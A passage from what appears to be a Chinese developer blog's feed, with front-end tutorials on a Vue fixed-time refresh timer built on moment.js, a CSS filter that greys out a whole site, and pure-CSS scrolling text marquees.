createDuration;</span><br><span class="line">    hooks.<span class="property">isMoment</span> = isMoment;</span><br><span class="line">    hooks.<span class="property">weekdays</span> = listWeekdays;</span><br><span class="line">    hooks.<span class="property">parseZone</span> = createInZone;</span><br><span class="line">    hooks.<span class="property">localeData</span> = getLocale;</span><br><span class="line">    hooks.<span class="property">isDuration</span> = isDuration;</span><br><span class="line">    hooks.<span class="property">monthsShort</span> = listMonthsShort;</span><br><span class="line">    hooks.<span class="property">weekdaysMin</span> = listWeekdaysMin;</span><br><span class="line">    hooks.<span class="property">defineLocale</span> = defineLocale;</span><br><span class="line">    hooks.<span class="property">updateLocale</span> = updateLocale;</span><br><span class="line">    hooks.<span class="property">locales</span> = listLocales;</span><br><span class="line">    hooks.<span class="property">weekdaysShort</span> = listWeekdaysShort;</span><br><span class="line">    hooks.<span class="property">normalizeUnits</span> = normalizeUnits;</span><br><span class="line">    hooks.<span class="property">relativeTimeRounding</span> = getSetRelativeTimeRounding;</span><br><span class="line">    hooks.<span class="property">relativeTimeThreshold</span> = getSetRelativeTimeThreshold;</span><br><span class="line">    hooks.<span class="property">calendarFormat</span> = getCalendarFormat;</span><br><span class="line">    hooks.<span class="property"><span class="keyword">prototype</span></span> = proto;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// currently HTML5 input type only supports 24-hour formats</span></span><br><span class="line">    hooks.<span class="property">HTML5_FMT</span> = &#123;</span><br><span class="line">        <span class="attr">DATETIME_LOCAL</span>: <span class="string">&#x27;YYYY-MM-DDTHH:mm&#x27;</span>, <span class="comment">// &lt;input type=&quot;datetime-local&quot; /&gt;</span></span><br><span class="line">        <span class="attr">DATETIME_LOCAL_SECONDS</span>: <span class="string">&#x27;YYYY-MM-DDTHH:mm:ss&#x27;</span>, <span class="comment">// &lt;input type=&quot;datetime-local&quot; step=&quot;1&quot; /&gt;</span></span><br><span class="line">        <span class="attr">DATETIME_LOCAL_MS</span>: <span class="string">&#x27;YYYY-MM-DDTHH:mm:ss.SSS&#x27;</span>, <span class="comment">// &lt;input type=&quot;datetime-local&quot; step=&quot;0.001&quot; /&gt;</span></span><br><span class="line">        <span class="attr">DATE</span>: <span class="string">&#x27;YYYY-MM-DD&#x27;</span>, <span class="comment">// &lt;input type=&quot;date&quot; /&gt;</span></span><br><span class="line">        <span class="attr">TIME</span>: <span class="string">&#x27;HH:mm&#x27;</span>, <span class="comment">// &lt;input type=&quot;time&quot; /&gt;</span></span><br><span class="line">        <span class="attr">TIME_SECONDS</span>: <span class="string">&#x27;HH:mm:ss&#x27;</span>, <span class="comment">// &lt;input type=&quot;time&quot; step=&quot;1&quot; /&gt;</span></span><br><span class="line">        <span class="attr">TIME_MS</span>: <span class="string">&#x27;HH:mm:ss.SSS&#x27;</span>, <span class="comment">// &lt;input type=&quot;time&quot; step=&quot;0.001&quot; /&gt;</span></span><br><span class="line">        <span class="attr">WEEK</span>: <span class="string">&#x27;GGGG-[W]WW&#x27;</span>, <span class="comment">// &lt;input type=&quot;week&quot; /&gt;</span></span><br><span class="line">        <span class="attr">MONTH</span>: <span class="string">&#x27;YYYY-MM&#x27;</span> <span class="comment">// &lt;input type=&quot;month&quot; /&gt;</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> hooks;</span><br><span class="line"></span><br><span class="line">&#125;)));</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="添加定时器">添加定时器</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">data &#123;</span><br><span class="line">timer: null</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="添加定时执行控制方法">添加定时执行控制方法</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">  * 定点定时刷新</span></span><br><span class="line"><span class="comment">  * <span class="doctag">@timeFixedArr</span>：Array&lt;String&gt;需要刷新的时间点，格式如[&#x27;08:30:00&#x27;,&#x27;12:00:05&#x27;]</span></span><br><span class="line"><span class="comment">  * <span class="doctag">@delayTime</span>: Number 延迟的ms，在固定的实际点后多少ms内都只执行一次</span></span><br><span class="line"><span class="comment">  * <span class="doctag">@executed</span>: true代表需要定时刷新的方法是否执行了,后面纵使在设定时间范围内也不执行自动刷新</span></span><br><span class="line"><span class="comment">  * <span class="doctag">@tickerFn</span>：需要定时刷新的方法</span></span><br><span class="line"><span class="comment">* */</span></span><br><span class="line"><span class="title function_">intervalFixedPointTaskFn</span>(<span class="params">&#123;timeFixedArr = [], delayTime = <span class="number">1000</span>, executed = <span class="literal">true</span>&#125;, tickerFn</span>) &#123;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">timer</span> &amp;&amp; <span class="built_in">clearInterval</span>(<span class="variable language_">this</span>.<span class="property">timer</span>) <span class="comment">// 清除定时器</span></span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">timer</span> = <span class="built_in">setInterval</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="keyword">let</span> currentTime = <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">getTime</span>() <span class="comment">// 当前时间</span></span><br><span class="line">        <span class="keyword">let</span> currentYMD = <span class="title function_">moment</span>(currentTime).<span class="title function_">format</span>(<span class="string">&#x27;YYYY-MM-DD&#x27;</span>) <span class="comment">// 当前年月日</span></span><br><span class="line">        <span class="keyword">let</span> refresh = <span class="literal">false</span> <span class="comment">// 判断是否需要刷新</span></span><br><span class="line">        <span class="comment">// 判断是否在设定的时间范围内</span></span><br><span class="line">        <span class="keyword">let</span> count = <span class="number">0</span> <span class="comment">// 记录不在设定范围内的数量</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; timeFixedArr.<span class="property">length</span>; i++) &#123;</span><br><span class="line">            <span class="keyword">let</span> item = timeFixedArr[i] <span class="comment">// 固定的时分秒</span></span><br><span class="line">            <span class="keyword">let</span> setTime = <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="string">`<span class="subst">$&#123;currentYMD&#125;</span> <span class="subst">$&#123;item&#125;</span>`</span>).<span class="title function_">getTime</span>() <span class="comment">// 完整时间</span></span><br><span class="line">            <span class="keyword">if</span> (currentTime &gt;= setTime &amp;&amp; currentTime &lt;= (setTime + delayTime)) &#123; <span class="comment">// 没有刷新过且在设定时间范围内 - 刷新</span></span><br><span class="line">                <span class="keyword">if</span> (!executed) &#123; <span class="comment">// 只执行一次</span></span><br><span class="line">                    refresh = <span class="literal">true</span></span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                count++</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (count === timeFixedArr.<span class="property">length</span>) &#123;</span><br><span class="line">            executed = <span class="literal">false</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (refresh) &#123;</span><br><span class="line">            executed = <span class="literal">true</span></span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`<span class="subst">$&#123;moment(currentTime).format(<span class="string">&#x27;YYYY-MM-DD HH:mm:ss&#x27;</span>)&#125;</span> 执行定时任务.... 执行方法 <span class="subst">$&#123;tickerFn&#125;</span>`</span>)</span><br><span class="line">            tickerFn &amp;&amp; <span class="title function_">tickerFn</span>()</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;, <span class="number">1000</span>)</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure><h2 id="添加需要定时执行的方法">添加需要定时执行的方法</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 所有接口，以一个定时速度刷新</span></span><br><span class="line"><span class="title function_">htcfAllFunction</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;开始执行定时任务&quot;</span>)</span><br><span class="line">    <span class="comment">// 需要添加的内容</span></span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">timer</span> &amp;&amp; <span class="built_in">clearInterval</span>(<span class="variable language_">this</span>.<span class="property">timer</span>)</span><br><span class="line">    <span class="comment">// 多个请求的方法，这里的catchFun方法只是为了遇到请求失败的请求时继续往下执行可以去掉</span></span><br><span class="line">    <span class="title class_">Promise</span>.<span class="title function_">all</span>(<span class="title function_">catchFun</span>([<span class="variable language_">this</span>.<span class="title function_">zbxx</span>(), <span class="variable language_">this</span>.<span class="title function_">qwxx</span>(), <span class="variable language_">this</span>.<span class="title function_">qwdj</span>(), <span class="variable language_">this</span>.<span class="title function_">zyyjxxList</span>(), <span class="variable language_">this</span>.<span class="title function_">jrmgjqList</span>(), <span class="variable language_">this</span>.<span class="title function_">shldjqList</span>()])).<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (res[<span class="number">3</span>] &gt; <span class="number">4</span>) &#123;</span><br><span class="line">            seamscroll.<span class="title function_">init</span>(&#123;</span><br><span class="line">                <span class="attr">dom</span>: <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;zyyjxx_review_box_scroll&#x27;</span>),</span><br><span class="line">                <span class="attr">step</span>: <span class="number">0.1</span>, <span class="comment">//数值越大速度滚动越快</span></span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (res[<span class="number">5</span>] &gt; <span class="number">7</span>) &#123;</span><br><span class="line">            seamscroll.<span class="title function_">init</span>(&#123;</span><br><span class="line">                <span class="attr">dom</span>: <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;shldjq_review_box_scroll&#x27;</span>),</span><br><span class="line">                <span class="attr">step</span>: <span class="number">0.1</span>, <span class="comment">//数值越大速度滚动越快</span></span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (res[<span class="number">4</span>] &gt; <span class="number">3</span>) &#123;</span><br><span class="line">            <span class="comment">// 添加样式</span></span><br><span class="line">            seamscroll.<span class="title function_">init</span>(&#123;</span><br><span class="line">                <span class="attr">dom</span>: <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;jrmgjq_review_box_scroll&#x27;</span>),</span><br><span class="line">                <span class="attr">step</span>: <span class="number">0.1</span>, <span class="comment">//数值越大速度滚动越快</span></span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;).<span class="title function_">catch</span>(<span class="function"><span class="params">err</span> =&gt;</span> &#123;</span><br><span class="line">    &#125;).<span class="title function_">finally</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="comment">// 需要添加的内容</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="title function_">intervalFixedPointTaskFn</span>(&#123;</span><br><span class="line">            <span class="attr">timeFixedArr</span>: [<span class="string">&#x27;13:19:00&#x27;</span>, <span class="string">&#x27;13:20:00&#x27;</span>, <span class="string">&#x27;13:21:00&#x27;</span>],</span><br><span class="line">            <span class="attr">delayTime</span>: <span class="number">1000</span>,</span><br><span class="line">            <span class="attr">executed</span>: <span class="literal">true</span></span><br><span class="line">        &#125;, <span class="variable language_">this</span>.<span class="property">htcfAllFunction</span>)</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure><h2 id="定时器销毁">定时器销毁</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">beforeDestroy</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">timer</span> &amp;&amp; <span class="built_in">clearInterval</span>(<span class="variable language_">this</span>.<span class="property">timer</span>)</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure><h2 id="实际效果">实际效果</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/01/d763483e511b6f95b001463c5ee4ec2e.png" alt="image-20230110132228852"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;使用moment-js库&quot;&gt;使用moment.js库&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://momentjs.cn/&quot;&gt;官网下载&lt;/a&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td cl</summary>
      
    
    
    
    <category term="vue" scheme="https://blog.allbs.cn/categories/vue/"/>
    
    
    <category term="定时任务" scheme="https://blog.allbs.cn/tags/%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/"/>
    
    <category term="vue" scheme="https://blog.allbs.cn/tags/vue/"/>
    
    <category term="js" scheme="https://blog.allbs.cn/tags/js/"/>
    
  </entry>
  
  <entry>
    <title>整个网站变为灰色</title>
    <link href="https://blog.allbs.cn/posts/59801/"/>
    <id>https://blog.allbs.cn/posts/59801/</id>
    <published>2022-12-05T02:28:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h2 id="添加整个网站变灰的开关">添加整个网站变灰的开关</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/12/70dd019e7d4d4e25e5b3fdff4fe99311.png" alt=""></p><h2 id="添加网站变灰的css文件">添加网站变灰的css文件</h2><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">html</span> &#123;</span><br><span class="line">    -webkit-<span class="attribute">filter</span>: <span class="built_in">grayscale</span>(<span class="number">100%</span>);</span><br><span class="line">    <span class="attribute">filter</span>: <span class="built_in">grayscale</span>(<span class="number">100%</span>);</span><br><span class="line">    <span class="attribute">filter</span>: progid:DXImageTransform.Microsoft.<span class="built_in">BasicImage</span>(grayscale=<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/12/fbbfff7c8435dfaf1c1c677e626d02cb.png" alt=""></p><h2 id="index-styl-控制该css文件是否引入">index.styl 控制该css文件是否引入</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/12/05f20bb701a14383f5a058b25d16c596.png" alt=""></p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> <span class="built_in">hexo-config</span>(<span class="string">&#x27;whole_blog_grey.enable&#x27;</span>)</span><br><span class="line">  <span class="keyword">@import</span> <span class="string">&#x27;grey/index.css&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="效果">效果</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/12/b8b5165068f9bc951ee57ec2c9d44d40.png" alt=""></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;添加整个网站变灰的开关&quot;&gt;添加整个网站变灰的开关&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://nas.allbs.cn:8888/cloudpic/2022/12/70dd019e7d4d4e25e5b3fdff4fe99311.png&quot; alt=&quot;&quot;&gt;&lt;</summary>
      
    
    
    
    <category term="前端" scheme="https://blog.allbs.cn/categories/%E5%89%8D%E7%AB%AF/"/>
    
    
    <category term="css" scheme="https://blog.allbs.cn/tags/css/"/>
    
  </entry>
  
  <entry>
    <title>纯css实现文字滚动</title>
    <link href="https://blog.allbs.cn/posts/27950/"/>
    <id>https://blog.allbs.cn/posts/27950/</id>
    <published>2022-12-02T08:28:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h3 id="横向滚动示例">横向滚动示例</h3><h4 id="html">html</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;marquee&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;marquee-wrap&quot;</span> <span class="attr">style</span>=<span class="string">&quot;width: 430px;text-align: center&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">span</span></span></span><br><span class="line"><span class="tag">              <span class="attr">class</span>=<span class="string">&quot;yellow marquee-content&quot;</span>&gt;</span>这是一断横向滚动的文字<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="css">css</h4><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.marquee</span> &#123;</span><br><span class="line">    <span class="attribute">overflow</span>: hidden;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.marquee</span> <span class="selector-class">.marquee-wrap</span> &#123;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">animation</span>: marquee-wrap <span class="number">4s</span> infinite linear;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.marquee</span> <span class="selector-class">.marquee-content</span> &#123;</span><br><span class="line">    <span class="attribute">float</span>: left;</span><br><span class="line">    <span class="attribute">white-space</span>: nowrap;</span><br><span class="line">    <span class="attribute">min-width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">animation</span>: marquee-content <span class="number">4s</span> infinite linear;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@keyframes</span> marquee-wrap &#123;</span><br><span class="line">    <span class="number">0%</span>,</span><br><span class="line">    <span class="number">30%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateX</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">70%</span>,</span><br><span class="line">    <span class="number">100%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateX</span>(<span class="number">100%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@keyframes</span> marquee-content &#123;</span><br><span class="line">    <span class="number">0%</span>,</span><br><span class="line">    <span class="number">30%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateX</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">70%</span>,</span><br><span class="line">    <span class="number">100%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateX</span>(-<span class="number">100%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="实现效果">实现效果</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/12/0e2dd800c463752947ffcad7cfb76d4c.gif" alt="横向滚动"></p><h3 id="纵向滚动示例">纵向滚动示例</h3><h4 id="html-2">html</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;marquee-y&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;marquee-wrap-y&quot;</span> <span class="attr">style</span>=<span class="string">&quot;height: 330px;width:2360px;text-align: center&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">span</span> <span class="attr">class</span>=<span class="string">&quot;marquee-content-y&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">mark</span> <span class="attr">class</span>=<span class="string">&quot;zyyjxx-index&quot;</span>&gt;</span>&#123;&#123;index+1&#125;&#125; 、<span class="tag">&lt;/<span class="name">mark</span>&gt;</span>&#123;&#123;item&#125;&#125;<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="css-2">css</h4><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.marquee-y</span> &#123;</span><br><span class="line">    <span class="attribute">overflow</span>: hidden;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.marquee-y</span> <span class="selector-class">.marquee-wrap-y</span> &#123;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">animation</span>: marquee-wrap-y <span class="number">4s</span> infinite linear;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.marquee-y</span> <span class="selector-class">.marquee-content-y</span> &#123;</span><br><span class="line">    <span class="attribute">float</span>: left;</span><br><span class="line">    <span class="attribute">min-height</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">max-width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">white-space</span>: pre-wrap;</span><br><span class="line">    <span class="attribute">animation</span>: marquee-content-y <span class="number">4s</span> infinite linear;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@keyframes</span> marquee-wrap-y &#123;</span><br><span class="line">    <span class="number">0%</span>,</span><br><span class="line">    <span class="number">30%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">70%</span>,</span><br><span class="line">    <span class="number">100%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">100%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@keyframes</span> marquee-content-y &#123;</span><br><span class="line">    <span class="number">0%</span>,</span><br><span class="line">    <span class="number">30%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">70%</span>,</span><br><span class="line">    <span class="number">100%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">100%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="实现效果-2">实现效果</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/12/7c3e770fe7afc3b48e28de7df8b7ee34.gif" alt="纵向向滚动"></p><h4 id="末尾停顿">末尾停顿</h4><p>因为滚动部分时间固定，可以设置80%的时间时滚动到100%，这样剩下20%的时间将会停顿在末尾</p><h5 id="示例">示例</h5><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 纵向滚动 */</span></span><br><span class="line"><span class="selector-class">.marquee-y</span> &#123;</span><br><span class="line">    <span class="attribute">overflow</span>: hidden;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.marquee-y</span> <span class="selector-class">.marquee-wrap-y</span> &#123;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">animation</span>: marquee-wrap-y infinite linear;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.marquee-y</span> <span class="selector-class">.marquee-content-y</span> &#123;</span><br><span class="line">    <span class="attribute">float</span>: left;</span><br><span class="line">    <span class="attribute">min-height</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">max-width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">white-space</span>: pre-wrap;</span><br><span class="line">    <span class="attribute">animation</span>: marquee-content-y infinite linear;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@keyframes</span> marquee-wrap-y &#123;</span><br><span class="line">    <span class="number">0%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">20%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">25%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">40%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">50%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    